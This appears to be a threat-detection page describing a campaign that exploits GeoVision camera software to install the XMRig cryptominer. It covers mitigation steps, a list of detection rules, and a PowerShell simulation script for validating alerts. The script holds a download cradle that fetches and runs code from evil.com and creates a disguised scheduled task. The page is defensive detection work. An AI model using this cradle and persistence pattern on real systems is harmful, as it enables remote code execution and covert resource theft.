GeoVision Software Exploitation Leads to XMRig Deployment
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
Threat actors are exploiting publicly exposed GeoVision webcam software to launch a multi-stage attack chain. The activity involves PowerShell execution, abuse of a vulnerable driver for defense evasion, and deployment of a custom Golang loader. The final stage installs the XMRig cryptominer to consume compromised system resources.
Investigation
The Huntress SOC observed widespread malicious activity originating from the GeoStartupAgentService.exe process. Investigation showed that attackers downloaded multiple PowerShell scripts and abused the vulnerable wsftprm.sys driver to interfere with Microsoft Defender. The campaign also used IFEO registry hijacking to disable security-related components.
Mitigation
Organizations should eliminate unnecessary public exposure of GeoVision devices and management interfaces, preferably placing them behind a VPN. Defenders should monitor for unexpected command shells or PowerShell processes spawned by GeoStartupAgentService.exe. Security teams should also review telemetry for suspicious DNS requests and unusual outbound UDP DHT traffic.
Response
When signs of compromise are identified, organizations should immediately isolate affected hosts to prevent further lateral movement or resource abuse. Preserve forensic evidence before deleting malicious files or restoring altered registry settings. Review scheduled tasks, service configurations, and other persistence mechanisms for unauthorized changes.
Attack Flow
We are still updating this part.
Detections
Download or Upload via Powershell (via cmdline)
Possible Execution by Use of Short Script Name (via cmdline)
Suspicious Command and Control by Unusual Top Level Domain (TLD) DNS Request (via dns)
IOCs (HashSha256) to detect: Threat Advisory: GeoVision Camera Software Exploited to Drop XMRig
IOCs (SourceIP) to detect: Threat Advisory: GeoVision Camera Software Exploited to Drop XMRig
IOCs (DestinationIP) to detect: Threat Advisory: GeoVision Camera Software Exploited to Drop XMRig
Detect PowerShell Download Cradle and Malicious Script Execution [Windows Powershell]
Suspected Exploitation of GeoVision Camera Software to Deliver Cryptocurrency Miner [Windows Process Creation]
Simulation Execution
-
Attack Narrative & Commands: The adversary targets a system running GeoVision camera software. Exploiting a known vulnerability, they gain the ability to execute commands via
GeoStartupAgentService.exe. To avoid detection, they attempt to hide their presence by masquerading a cryptominer as a system update. The attacker first usescmd.exeto trigger a PowerShell one-liner (iex) to download a second-stage payload. Once the payload is on disk, they create a scheduled task namedPackageUpdaterthat executes a file namedupdate.exeto mine Monero (XMR). -
Regression Test Script:
# Simulation Script for GeoVision Cryptominer TTPs # NOTE: This script is for detection validation only. # 1. Simulate Selection_1: GeoStartupAgentService.exe spawning malicious PowerShell via CMD # We simulate the process creation by mimicking the parent-child relationship logic $ErrorActionPreference = 'SilentlyContinue' Write-Host "[+] Simulating Selection_1: GeoStartupAgentService.exe spawning malicious CMD/PowerShell" # In a real environment, GeoStartupAgentService.exe would be the parent. # For simulation, we will trigger the command line pattern directly. Start-Process "cmd.exe" -ArgumentList "/c powershell -c iex (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')" # 2. Simulate Selection_2: Scheduled Task 'PackageUpdater' and 'update.exe' Write-Host "[+] Simulating Selection_2: Persistence via Scheduled Task and update.exe" # Create a dummy 'update.exe' to satisfy the command line string match $dummyPath = "$env:TEMPupdate.exe" New-Item -Path $dummyPath -ItemType File -Force | Out-Null # Create the scheduled task with the specific name 'PackageUpdater' schtasks /create /tn "PackageUpdater" /tr "$dummyPath" /sc daily /st 12:00 /f Write-Host "[+] Simulation complete. Check SIEM for alerts." -
Cleanup Commands:
# Cleanup Script Write-Host "[!] Cleaning up simulation artifacts..." # Remove the scheduled task schtasks /delete /tn "PackageUpdater" /f # Remove the dummy executable Remove-Item -Path "$env:TEMPupdate.exe" -Force Write-Host "[+] Cleanup finished."